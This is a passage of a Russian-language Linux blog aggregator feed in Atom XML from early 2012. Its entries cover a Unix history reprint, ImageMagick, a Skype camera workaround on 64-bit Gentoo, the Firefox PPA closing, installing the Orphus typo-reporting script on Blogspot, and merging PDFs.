/>Copyright© 2011 IEEE.   Reprinted from IEEE <a href="http://spectrum.ieee.org/computing/software/the-strange-birth-and-long-life-of-unix">"The Strange Birth and Long Life of Unix" by Warren Toomey, </a></span><a href="http://spectrum.ieee.org/computing/software/the-strange-birth-and-long-life-of-unix"><span style="color: rgb(255, 0, 0);">IEEE Spectrum Magazine, December 2011</span></a><span style="font-family: sans-serif; font-size: 85%; color: red;">.</span><span style="font-family: sans-serif; font-size: 85%; color: red;"><br /></span><span style="font-family: sans-serif; font-size: 85%; color: red;"><br />This material is posted here with permission of the IEEE.  Such  permission of the IEEE does not in any way imply IEEE endorsement of any  of <a href="http://mydebianblog.blogspot.com/">mydebianblog</a>’s products or services.   Internal or personal use  of this material is permitted.  However, permission to reprint/republish this material for advertising or promotional  purposes or for creating new collective works for resale or  redistribution must be obtained from the IEEE by writing to  pubs-permissions@ieee.org.</span><span style="font-family: sans-serif; font-size: 85%; color: red;"><br /></span><span style="font-family: sans-serif; font-size: 85%; color: red;"><br />By choosing to view this document, you agree to all provisions of the copyright laws protecting it.  </span><span style="font-family: sans-serif; font-size: 85%;"><br /></span><br /><br /><span style="color: rgb(153, 153, 153); font-size: 85%;"><span class="" id="result_box" lang="ru"><span class="hps">Copyright © 2011</span> <span class="hps">IEEE.</span> <span class="hps">Перепечатано из</span> <span class="hps">IEEE</span> <span class="hps atn">"</span><span>Странное</span> <span class="hps">рождение</span> <span class="hps">и долгая жизнь </span><span class="hps">Unix</span><span>"</span> <span class="hps">Уоррен</span> <span class="hps">Туми,</span> <span class="hps">IEEE Spectrum</span> <span class="hps">Magazine,</span> <span class="hps">декабрь 2011 года.</span><br /><br /><span class="hps">Данный материал</span> <span class="hps">публикуется</span> <span class="hps">здесь</span> <span class="hps">с разрешения</span> <span class="hps">IEEE.</span> <span class="hps">Такое</span> <span class="hps">разрешение</span> <span class="hps">IEEE</span> <span class="hps">ни</span> <span class="hps">в</span> <span class="hps">коей мере не означает</span> <span class="hps">одобрение</span> <span class="hps">IEEE</span> <span class="hps">любой из продуктов</span> <a href="http://mydebianblog.blogspot.com/"><span class="hps">mydebianblog</span></a> <span class="hps">или услуг.</span> <span class="hps">Внутреннее</span> <span class="hps">или личное использование</span> <span class="hps">этого материала</span> <span class="hps">допускается.</span> <span class="hps">Тем не менее,</span> <span class="hps">разрешение на перепечатку</span> <span class="hps">/</span> <span class="hps">переиздание</span> <span class="hps">этого материала для</span> <span class="hps">рекламы или</span> <span class="hps">рекламных целях</span> <span class="hps">или</span> <span class="hps">для создания новых</span> <span class="hps">коллективных работ</span> <span class="hps">для перепродажи или</span> <span class="hps">перераспределения</span> <span class="hps">должно быть получено от</span> <span class="hps">IEEE</span><span>, написав по адресу</span> <span class="hps">pubs-permissions@ieee.org</span><span>.</span><br /><br /><span class="hps">Просматривая </span><span class="hps">этот</span> <span class="hps">документ, вы</span> <span class="hps">согласны со всеми</span> <span class="hps">положениями</span> <span class="hps">законов об авторских правах</span>, <span class="hps">защищающих его.</span></span></span><br /></div><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/30744165-6723128500333914553?l=mydebianblog.blogspot.com" width="1" /></div><img height="1" src="http://feeds.feedburner.com/~r/debianletters/~4/_e1If12IbZM" width="1" /><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/XUAC8pULjcA" height="1" width="1" /></div></content>
    <updated>2012-02-05T20:15:00Z</updated>
    <published>2012-02-05T20:15:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="обзор" />
    <category scheme="http://www.blogger.com/atom/ns#" term="юникс" /><feedburner:origLink xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://mydebianblog.blogspot.com/2012/02/unix.html</feedburner:origLink>
    <author>
      <name>virens</name>
      <email>noreply@blogger.com</email>
      <uri>http://www.blogger.com/profile/12420257446841864325</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-30744165</id>
      <category term="андроид" />
      <category term="гнуплот" />
      <category term="текст" />
      <category term="обзор" />
      <category term="событие" />
      <category term="продуктивность" />
      <category term="начинающим" />
      <category term="ядро" />
      <category term="сканер" />
      <category term="мультимедиа" />
      <category term="системное" />
      <category term="десктоп" />
      <category term="ноутбук" />
      <category term="юмор" />
      <category term="анализ" />
      <category term="юникс" />
      <category term="железо" />
      <category term="сети" />
      <category term="камера" />
      <category term="блоггер" />
      <category term="эмуляция" />
      <category term="принтер" />
      <category term="данные" />
      <category term="таблицы" />
      <category term="КПК" />
      <category term="обработка" />
      <category term="переход" />
      <category term="интерфейс" />
      <category term="презентации" />
      <category term="дебиан" />
      <category term="изображение" />
      <category term="навигация" />
      <category term="ЛаТеХ" />
      <category term="интернет" />
      <category term="научное" />
      <author>
        <name>virens</name>
        <email>noreply@blogger.com</email>
        <uri>http://www.blogger.com/profile/12420257446841864325</uri>
      </author>
      <link href="http://mydebianblog.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://mydebianblog.blogspot.com/" rel="alternate" type="text/html" />
      <link href="http://www.blogger.com/feeds/30744165/posts/default?start-index=11&amp;max-results=10&amp;redirect=false&amp;orderby=published&amp;v=2" rel="next" type="application/atom+xml" />
      <link href="http://feeds.feedburner.com/debianletters" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>В этом блоге публикуются заметки и решения, найденные в процессе работы, освоения и жизни в дистрибутиве Debian GNU/Linux.</subtitle>
      <title>Записки дебианщика</title>
      <updated>2012-02-09T10:35:57Z</updated>
    </source>
  </entry>

  <entry xml:lang="ru">
    <id>http://linuxnow.ru/view.php?id=102</id>
    <link href="http://linuxnow.ru/view.php?id=102" rel="alternate" type="text/html" />
    <title>ImageMagick: консольный пакет для обработки изображений</title>
    <summary type="html">ImageMagick — свободный (лицензия Apache 2.0) кроссплатформенный пакет программ для пакетной обработки изображений. Проще говоря, ImageMagick особо полезно использовать при обработке множества изображений общими методами. Пакет поддерживает большинство графических форматов, также его можно использовать совместно с языками программирования, например, для написания скриптов обработки изображений, что очень полезно.
В этой статье описана лишь малая...&lt;img src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/IYqrTh1OVyY" height="1" width="1"/&gt;</summary>
    <updated>2012-02-04T17:00:34Z</updated>
    <source>
      <id>http://linuxnow.ru/</id>
      <link href="http://linuxnow.ru/" rel="alternate" type="text/html" />
      <link href="http://linuxnow.ru/rss.php" rel="self" type="application/rss+xml" />
      <subtitle>LinuxNow - лучший способ расширить знания о GNU/Linux и программах с открытым исходным кодом. Вы найдете полезные сведения обо всём, что касается GNU/Linux. Мы поможем Вам почувствовать себя уверенно вне зависимости от дистрибутива и опыта работы.</subtitle>
      <title>LinuxNow.ru -всё, что вы хотели бы знать о GNU/Linux</title>
      <updated>2012-02-09T14:00:30Z</updated>
    </source>
  </entry>

  <entry>
    <id>http://aceler.livejournal.com/1086221.html</id>
    <link href="http://aceler.livejournal.com/1086221.html" rel="alternate" type="text/html" />
    <title>Unix</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Есть что-то такое… человекочитаемое в команде watch who.</p>
<i>Запись опубликована <a href="http://www.aceler.ru" rel="nofollow">Aceler online</a>. Вы можете оставить комментарии <a href="http://www.aceler.ru/blog/6439" rel="nofollow">там</a>, их уже <img border="0" src="http://www.aceler.ru/wp-lj-comments.php?post_id=6439" />.</i><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/rtCakJ9QVMM" height="1" width="1" /></div></summary>
    <updated>2012-02-02T16:31:13Z</updated>
    <category term="linux" />
    <source>
      <id>http://aceler.livejournal.com/</id>
      <logo>http://l-userpic.livejournal.com/81629137/1065780</logo>
      <link href="http://aceler.livejournal.com/" rel="alternate" type="text/html" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <link href="http://aceler.livejournal.com/data/rss?tag=linux" rel="self" type="application/atom+xml" />
      <subtitle>Aceler online - LiveJournal.com</subtitle>
      <title>Aceler online</title>
      <updated>2012-02-02T16:31:13Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-4876407785098439896.post-1320465655075633456</id>
    <link href="http://lindev.blogspot.com/feeds/1320465655075633456/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://lindev.blogspot.com/2012/02/linuxx8664-skype.html#comment-form" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/4876407785098439896/posts/default/1320465655075633456?v=2" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/4876407785098439896/posts/default/1320465655075633456?v=2" rel="self" type="application/atom+xml" />
    <link href="http://feedproxy.google.com/~r/blogspot/VTUEL/~3/YwSJ5V287AQ/linuxx8664-skype.html" rel="alternate" type="text/html" />
    <title>Linux_x86_64 и Skype</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">21 век на дворе а skype до сих пор не распространяется для 64-х битных<br />
линуксов.<br />
Постоянно приходится извращаться, потому что при каждом обновлении в Gentoo появляются проблемы с камерой и каждый раз при обновлении<br />
приходится добавлять в /usr/bin/skype вот такую строчку:<br />
<br />
<i>export LD_PRELOAD=/usr/lib32/libv4l/v4l1compat.so</i><br />
<br />
Чего-то надоело уже.<br />
<br />
Может кто знает, чем его можно заменить, но так, чтобы было возможность общаться с контактами из skype'а?<br />
Есть какой нибудь транспорт, как например в xmpp?<br />
<br />
<span style="font-size: xx-small;">p.s. Пост был  из будущего</span><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/4876407785098439896-1320465655075633456?l=lindev.blogspot.com" width="1" /></div><img height="1" src="http://feeds.feedburner.com/~r/blogspot/VTUEL/~4/YwSJ5V287AQ" width="1" /><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/7WuvWQ6FVRM" height="1" width="1" /></div></content>
    <updated>2012-02-01T18:11:00Z</updated>
    <published>2012-02-01T18:11:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="skype" />
    <category scheme="http://www.blogger.com/atom/ns#" term="linux" />
    <category scheme="http://www.blogger.com/atom/ns#" term="Gentoo" /><feedburner:origLink xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://lindev.blogspot.com/2012/02/linuxx8664-skype.html</feedburner:origLink>
    <author>
      <name>Alexander Basov</name>
      <email>noreply@blogger.com</email>
      <uri>https://profiles.google.com/114602232288917135476</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-4876407785098439896</id>
      <category term="flash" />
      <category term="xsl" />
      <category term="quota" />
      <category term="postgresql" />
      <category term="encoding" />
      <category term="ICQ" />
      <category term="books" />
      <category term="libc" />
      <category term="ЭВМ" />
      <category term="Kernel" />
      <category term="Wine" />
      <category term="cups" />
      <category term="праздник" />
      <category term="dbus" />
      <category term="X.org" />
      <category term="Embedded" />
      <category term="firefox" />
      <category term="mtrace" />
      <category term="convmv" />
      <category term="git" />
      <category term="valgrind" />
      <category term="ati" />
      <category term="gnutls" />
      <category term="Логика" />
      <category term="LSB" />
      <category term="время" />
      <category term="alsa" />
      <category term="Емакс" />
      <category term="X11" />
      <category term="Easeter Eggs" />
      <category term="opera" />
      <category term="humor" />
      <category term="gspca" />
      <category term="xml" />
      <category term="distcc" />
      <category term="xfs" />
      <category term="xmpp" />
      <category term="Thunderbird" />
      <category term="dmix" />
      <category term="Gmail" />
      <category term="brain" />
      <category term="Astronomy" />
      <category term="bash" />
      <category term="скобки" />
      <category term="ntp" />
      <category term="Jabber" />
      <category term="pdf" />
      <category term="bash shell" />
      <category term="c" />
      <category term="kde4" />
      <category term="fop" />
      <category term="hplip" />
      <category term="Assembler" />
      <category term="Life" />
      <category term="trac" />
      <category term="Ада" />
      <category term="наука" />
      <category term="ssh svn узелок." />
      <category term="pandaboard" />
      <category term="matreshka" />
      <category term="glib" />
      <category term="Qt" />
      <category term="FIXME" />
      <category term="Emacs" />
      <category term="часы" />
      <category term="notification" />
      <category term="Suse" />
      <category term="OS" />
      <category term="удаленный рабочий стол" />
      <category term="UNIX" />
      <category term="intenet" />
      <category term="berlios.de" />
      <category term="easter_eggs" />
      <category term="задачка" />
      <category term="VirtualBox" />
      <category term="Книги" />
      <category term="gprbuild" />
      <category term="skype" />
      <category term="1C" />
      <category term="GNU" />
      <category term="Gdb" />
      <category term="http" />
      <category term="GoogleEarth" />
      <category term="GTK" />
      <category term="Gentoo" />
      <category term="ISP" />
      <category term="sex" />
      <category term="ASIS" />
      <category term="sound" />
      <category term="opensource" />
      <category term="узелок на память" />
      <category term="2009. Муууу" />
      <category term="BUG" />
      <category term="debian" />
      <category term="docbook" />
      <category term="polyorb" />
      <category term="defrag" />
      <category term="TODO" />
      <category term="linux" />
      <category term="alias" />
      <category term="apache" />
      <category term="man" />
      <category term="ELCE" />
      <category term="Ada" />
      <category term="HAL" />
      <category term="Flight Emulator" />
      <category term="programming" />
      <category term="ejabberd" />
      <category term="remote" />
      <category term="Tanenbaum" />
      <category term="GNAT" />
      <category term="ssh" />
      <category term="corba" />
      <category term="xmodmap" />
      <category term="memory leaks" />
      <category term="Google" />
      <category term="X" />
      <category term="config" />
      <category term="kde" />
      <category term="Psi" />
      <category term="icloud" />
      <category term="Новый Год" />
      <category term="QtAda" />
      <category term="mudflap" />
      <category term="Отладка" />
      <category term="administration" />
      <category term="web cam" />
      <category term="qemu" />
      <category term="gcc" />
      <category term="amd" />
      <category term="Ubuntu" />
      <category term="хороводоводоведофилофобы" />
      <category term="кетчуп" />
      <category term="iptables" />
      <author>
        <name>Alexander Basov</name>
        <email>noreply@blogger.com</email>
        <uri>https://profiles.google.com/114602232288917135476</uri>
      </author>
      <link href="http://lindev.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://lindev.blogspot.com/" rel="alternate" type="text/html" />
      <link href="http://www.blogger.com/feeds/4876407785098439896/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" rel="next" type="application/atom+xml" />
      <link href="http://feeds.feedburner.com/blogspot/VTUEL" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>Заметки линуксоида</subtitle>
      <title>Linux Maniacs</title>
      <updated>2012-02-08T18:56:44Z</updated>
    </source>
  </entry>

  <entry xml:lang="en">
    <id>http://digital-activity.org/?p=818</id>
    <link href="http://digital-activity.org/2012/01/30/firefoxstable-ppa-%d1%83%d1%85%d0%be%d0%b4%d0%b8%d1%82-%d0%bd%d0%b0-%d0%bf%d0%be%d0%ba%d0%be%d0%b9-%d0%bd%d0%b0-%d1%81%d0%bb%d0%b5%d0%b4%d1%83%d1%8e%d1%89%d0%b5%d0%b9-%d0%bd%d0%b5%d0%b4%d0%b5%d0%bb/" rel="alternate" type="text/html" />
    <title>Firefox/stable ppa уходит на покой на следующей неделе</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Крис Коулсон (en: Chris Coulson), один из ведущих мантейнеров пакетов Mozilla в Ubuntu, сообщил о скором закрытии PPA для стабильного релиза Firefox. Отныне самая последняя стабильная версия этого браузера будет доступна прямо в main репозитарии всех поддерживаемых в настоящем времени … <a href="http://digital-activity.org/2012/01/30/firefoxstable-ppa-%d1%83%d1%85%d0%be%d0%b4%d0%b8%d1%82-%d0%bd%d0%b0-%d0%bf%d0%be%d0%ba%d0%be%d0%b9-%d0%bd%d0%b0-%d1%81%d0%bb%d0%b5%d0%b4%d1%83%d1%8e%d1%89%d0%b5%d0%b9-%d0%bd%d0%b5%d0%b4%d0%b5%d0%bb/">Continue reading <span class="meta-nav">→</span></a><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/ZBH65tfL7dw" height="1" width="1" /></div></summary>
    <updated>2012-01-29T23:01:16Z</updated>
    <category term="Computing" />
    <category term="firefox" />
    <category term="Mozilla" />
    <category term="Mozilla Firefox" />
    <category term="ubuntu" />
    <category term="ubuntu 10.04" />
    <category term="ubuntu 11.04" />
    <category term="ubuntu 11.10" />
    <author>
      <name>Андрей Мавлянов</name>
    </author>
    <source>
      <id>http://digital-activity.org</id>
      <link href="http://digital-activity.org/category/computing/feed/" rel="self" type="application/atom+xml" />
      <link href="http://digital-activity.org" rel="alternate" type="text/html" />
      <subtitle>2:5030/1159</subtitle>
      <title>Digital Activity » Computing</title>
      <updated>2012-01-29T23:01:16Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-30744165.post-2270199793154923754</id>
    <link href="http://mydebianblog.blogspot.com/feeds/2270199793154923754/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://mydebianblog.blogspot.com/2012/01/orphus-blogspot.html#comment-form" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/30744165/posts/default/2270199793154923754?v=2" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/30744165/posts/default/2270199793154923754?v=2" rel="self" type="application/atom+xml" />
    <link href="http://feedproxy.google.com/~r/debianletters/~3/f-M3NAzi_dg/orphus-blogspot.html" rel="alternate" type="text/html" />
    <title>Установка Orphus на Blogspot - граммарнаци будут довольны</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">В этой короткой заметке говорится о системe оповещения авторов об орфографических ошибках Orphus, установке её на Blogspot и результаты ходовых испытаний.<br /><a name="more" /><br /><br /><span style="font-size: 130%;"><span style="color: rgb(153, 102, 51); font-weight: bold;">Чего, собственно?</span></span><br />Автор в целом грамотою владеет, но время от времени очепятки и ашыпки случаются, а также лишние слова и предлоги при переделывании поста уже после опубликования оного. Традиционно ревнители орфографии (граммарнаци) негодуют в комментариях, что комментарии несколько засоряет. Идея автоматизировать отправку и обработку ошибок автора этих строк посещала давно, но всегда натыкалась на технические сложности (загружать скрипты на Blogspot не представляется возможным).<br /><br />И вот я получил электропочту, в которой предлагалось попробовать установить Orphus снова. И в этот раз оно всё-таки заработало. Установка сравнительно проста, хотя имеет свои особенности.<br /><br /><span style="font-weight: bold; color: rgb(153, 102, 51);">Установка Orphus на блог от Google Blogger</span><br />Всё довольно просто:<br /><ol><li>На сайте <a href="http://orphus.ru/">орфуса</a> заполняем форму (адрес электропочты и язык) и скачиваем файл <span style="font-style: italic;">orphus.js</span></li><li>Закачать его на сам блогспот нельзя, зато можно воспользоваться каким-нибудь Dropbox и закачать джаваскрипт на Public folder, чтобы можно было загрузить.<span style="font-style: italic;" /></li><li>Чтобы ревнители грамматики видели, что грамматический  напалм совсем рядом и им можно попользоваться, нужно где-нибудь на  сайте повесить плашечку или текстовый блок с кодом, который на сайте  Орфуса расположен последним пунктом. Для этого легче всего воспользоваться стандартным для Blogger гаджетом<span style="font-weight: bold;"> "текст/HTML"</span> и вставить туда код следующего содержания:<br /><div style="background: #ffffff; overflow: auto; width: auto; background: white; border: solid gray; border-width: .1em .1em .1em .8em; padding: .2em .6em; color: black;"><pre style="margin: 0; line-height: 125%;"><span style="font-weight: bold; color: #bb0066;">&lt;script </span><span style="color: #336699;">type=</span><span style="color: #dd2200; background-color: #fff0f0;">"text/javascript"</span> <span style="color: #336699;">src=</span><span style="color: #dd2200; background-color: #fff0f0;">"/orphus/orphus.js"</span><span style="font-weight: bold; color: #bb0066;">&gt;&lt;/script&gt;</span><br /><span style="font-weight: bold; color: #bb0066;">&lt;a</span> <span style="color: #336699;">href=</span><span style="color: #dd2200; background-color: #fff0f0;">"http://orphus.ru"</span> <span style="color: #336699;">id=</span><span style="color: #dd2200; background-color: #fff0f0;">"orphus"</span> <span style="color: #336699;">target=</span><span style="color: #dd2200; background-color: #fff0f0;">"_blank"</span><span style="font-weight: bold; color: #bb0066;">&gt;&lt;img</span> <span style="color: #336699;">alt=</span><span style="color: #dd2200; background-color: #fff0f0;">"Orphus system"</span> <span style="color: #336699;">src=</span><span style="color: #dd2200; background-color: #fff0f0;">"/orphus/orphus.gif"</span> <span style="color: #336699;">border=</span><span style="color: #dd2200; background-color: #fff0f0;">"0"</span> <span style="color: #336699;">width=</span><span style="color: #dd2200; background-color: #fff0f0;">"141"</span> <span style="color: #336699;">height=</span><span style="color: #dd2200; background-color: #fff0f0;">"25"</span> <span style="font-weight: bold; color: #bb0066;">/&gt;&lt;/a&gt;</span><br /></pre></div><br />Без него система работать не  станет:<br /><br /><a href="http://2.bp.blogspot.com/-TENQonjYSiA/TyTuZEX_EPI/AAAAAAAACTQ/0TvAtggPrJA/s1600/orphus-wrong.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5702945142596374770" src="http://2.bp.blogspot.com/-TENQonjYSiA/TyTuZEX_EPI/AAAAAAAACTQ/0TvAtggPrJA/s400/orphus-wrong.jpg" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 228px;" /></a>Как не работает она у блоговодов, не <a href="http://k06a.blogspot.com/2009/05/orphus.html">захотевших скрипт скачать</a>.</li><li>Сохраняем шаблон и проверяем работоспособность скрипта.<br /></li></ol>Теперь готовимся получать письма от благодарных ревнителей грамматики.<br /><br /><br /><span style="font-weight: bold; color: rgb(153, 102, 51);">Как работает грамматический напалм от Orphus</span><br />Выделяем мышью ашыпку и нажимаем CTRL+Enter. Дальше появляется окно вида:<br /><a href="http://1.bp.blogspot.com/-25Rd32_ezvY/TyTtkVrxMPI/AAAAAAAACTE/jG38dtDlEZY/s1600/orphus-right.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5702944236709687538" src="http://1.bp.blogspot.com/-25Rd32_ezvY/TyTtkVrxMPI/AAAAAAAACTE/jG38dtDlEZY/s400/orphus-right.jpg" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 216px;" /></a>Если есть желание поехидничать, можно вписать комментарий, или отправить, как есть. Незамедлительно автору на почту придёт грозное письмо от Orphus вида<br /><blockquote style="color: rgb(204, 0, 0);">Орфографическая ошибка<br /><br />URL страницы: <a href="http://mydebianblog.blogspot.com/2011/12/blog-post.html" target="_blank">http://mydebianblog.blogspot.&lt;wbr&gt;com/2011/12/blog-post.html</a><br />Комментарий пользователя: убрать<br />Контекст:<br />и бибтеховские команды, на что автор этих строк сходу<br />и налетел. При этом вывод, как ни странно, в PDF<br />продолжаетс<br />Браузер: .0b8</blockquote>Так что сразу видно, где и что поправить.<br /><br /><span style="font-weight: bold; color: rgb(153, 102, 51);">Ходовые испытания</span><br />Как и ожидалось, джаваскрипт тормозит (а что он ещё умеет делать?!) <a href="http://tools.pingdom.com/fpt/#%21/LbXah0uaH/http://mydebianblog.blogspot.com/">загрузку страницы</a>, хотя и не катастрофически. Идеи ускорения сего крайне желательно отгружать в комментарии, желательно вместе с решениями.<br /><br />Есть возможность просматривать сообщения об орфографических ошибках в админке, там же можно отмечать некоторые отчёты как спам (кстати, интересно, а спамеры этим будут пользоваться?). Кроме того, можно запросить в админке RSS-ленту с ошибками.<br /><br /><br /><span style="color: rgb(153, 102, 51); font-size: 130%;"><span style="font-weight: bold;">Вопрос читателю: альтернативы Orphus?</span></span><br />Собственно, вся идея Orphus - загружаемый джаваскрипт, в котором есть обработка события на нажатие клавиш и сравнение с Ctrl+Enter. Всё вроде бы хорошо, но это джаваскрипт (хотя и 11 Кб). Иногда при этом странно работает выделение с помощью мыши. Если такой системе есть альтернативы - с удовольствием поэкспериментирую.<br /><span style="font-weight: bold; color: rgb(153, 102, 51);"><br /><br /><span style="color: rgb(102, 0, 0);">[Обновлено] Не было печали - бабушка купила поросят :-)</span></span> После установки Orphus было отмечено удвоение посещаемости блога по сравнению с цифрами до этого. И это не из-за того, что пост вышел удачным - в графе Traffic fources тишина и никто с Хабра\Слешдота\ЛОРа не заходит. Вот что видно из Blogger Dashboard:<br /><a href="http://3.bp.blogspot.com/-FrLHXUPaZ9k/TydK2yQ2LJI/AAAAAAAACTc/9mHMmCT2dw4/s1600/orphus_influence.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5703609758153845906" src="http://3.bp.blogspot.com/-FrLHXUPaZ9k/TydK2yQ2LJI/AAAAAAAACTc/9mHMmCT2dw4/s400/orphus_influence.jpg" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 305px;" /></a>То есть получается так, что посещений стало почти в 2.5 раза больше, а ссылок и заходов нет. Здесь скорее всего имеет место быть баг в механизме подсчёта заходов: я не знаю, как он реализован в Блоггере, но знаю, что это происходит уже не в первый раз. Дело в том, что в Блоггере можно организовать опрос (Poll) - так вот, накручивание заходов там происходит точно так же:<br /><a href="http://2.bp.blogspot.com/-jGSx9V-b688/TydL6vLmhaI/AAAAAAAACTo/9VH9_g-L6Nw/s1600/google_poll.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5703610925557646754" src="http://2.bp.blogspot.com/-jGSx9V-b688/TydL6vLmhaI/AAAAAAAACTo/9VH9_g-L6Nw/s400/google_poll.jpg" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 291px;" /></a>В опросе <span style="font-style: italic; font-weight: bold;">столько</span> народу участия не принимало, и я это знаю совершенно точно. А теперь такое же непотребство творится с Орфусом. Так что автор этих строк подумывает на время Орфус вырубить.<br /><br />P.S&gt; Раскраска кода для вставки в пост сделана с помощью <a href="http://hilite.me/">http://hilite.me/</a><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/30744165-2270199793154923754?l=mydebianblog.blogspot.com" width="1" /></div><img height="1" src="http://feeds.feedburner.com/~r/debianletters/~4/f-M3NAzi_dg" width="1" /><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/6JwQs7amQZI" height="1" width="1" /></div></content>
    <updated>2012-01-29T20:12:00Z</updated>
    <published>2012-01-29T20:12:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="блоггер" /><feedburner:origLink xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://mydebianblog.blogspot.com/2012/01/orphus-blogspot.html</feedburner:origLink>
    <author>
      <name>virens</name>
      <email>noreply@blogger.com</email>
      <uri>http://www.blogger.com/profile/12420257446841864325</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-30744165</id>
      <category term="андроид" />
      <category term="гнуплот" />
      <category term="текст" />
      <category term="обзор" />
      <category term="событие" />
      <category term="продуктивность" />
      <category term="начинающим" />
      <category term="ядро" />
      <category term="сканер" />
      <category term="мультимедиа" />
      <category term="системное" />
      <category term="десктоп" />
      <category term="ноутбук" />
      <category term="юмор" />
      <category term="анализ" />
      <category term="юникс" />
      <category term="железо" />
      <category term="сети" />
      <category term="камера" />
      <category term="блоггер" />
      <category term="эмуляция" />
      <category term="принтер" />
      <category term="данные" />
      <category term="таблицы" />
      <category term="КПК" />
      <category term="обработка" />
      <category term="переход" />
      <category term="интерфейс" />
      <category term="презентации" />
      <category term="дебиан" />
      <category term="изображение" />
      <category term="навигация" />
      <category term="ЛаТеХ" />
      <category term="интернет" />
      <category term="научное" />
      <author>
        <name>virens</name>
        <email>noreply@blogger.com</email>
        <uri>http://www.blogger.com/profile/12420257446841864325</uri>
      </author>
      <link href="http://mydebianblog.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://mydebianblog.blogspot.com/" rel="alternate" type="text/html" />
      <link href="http://www.blogger.com/feeds/30744165/posts/default?start-index=11&amp;max-results=10&amp;redirect=false&amp;orderby=published&amp;v=2" rel="next" type="application/atom+xml" />
      <link href="http://feeds.feedburner.com/debianletters" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>В этом блоге публикуются заметки и решения, найденные в процессе работы, освоения и жизни в дистрибутиве Debian GNU/Linux.</subtitle>
      <title>Записки дебианщика</title>
      <updated>2012-02-09T10:35:57Z</updated>
    </source>
  </entry>

  <entry xml:lang="en">
    <id>http://stproject.info/blog/?p=1750</id>
    <link href="http://stproject.info/blog/?p=1750" rel="alternate" type="text/html" />
    <title>Собираем несколько PDF файлов в один</title>
    <summary type="html">Появилась на Хабре статья про книгу по информационной безопасности и криминалистике Форензика. Компьютерная криминалистика. Н.Н. Федотов, книга абсолютно бесплатно доступна для скачивания на сайте автора: http://forensics.ru/. Захотелось мне эту книгу почитать на читалке, и все было классно пока не обнаружилось что книга разбита на 11 файлов Ну, не было еще такой задачи которую нельзя было [...]&lt;img src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/ivJgH_SBpTU" height="1" width="1"/&gt;</summary>
    <updated>2012-01-26T11:01:26Z</updated>
    <category term="Без рубрики" />
    <category term="ghostscript" />
    <category term="gs" />
    <category term="pdf merge" />
    <category term="книга" />
    <author>
      <name>Алексей Харитон</name>
    </author>
    <source>
      <id>http://stproject.info/blog</id>
      <link href="http://stproject.info/blog/?feed=rss2" rel="self" type="application/atom+xml" />
      <link href="http://stproject.info/blog" rel="alternate" type="text/html" />
      <title>STALKER`s project::Blog</title>
      <updated>2012-02-09T10:03:49Z</updated>
    </source>
  </entry>

  <entry xml:lang="en">
    <id>http://digital-activity.org/?p=787</id>
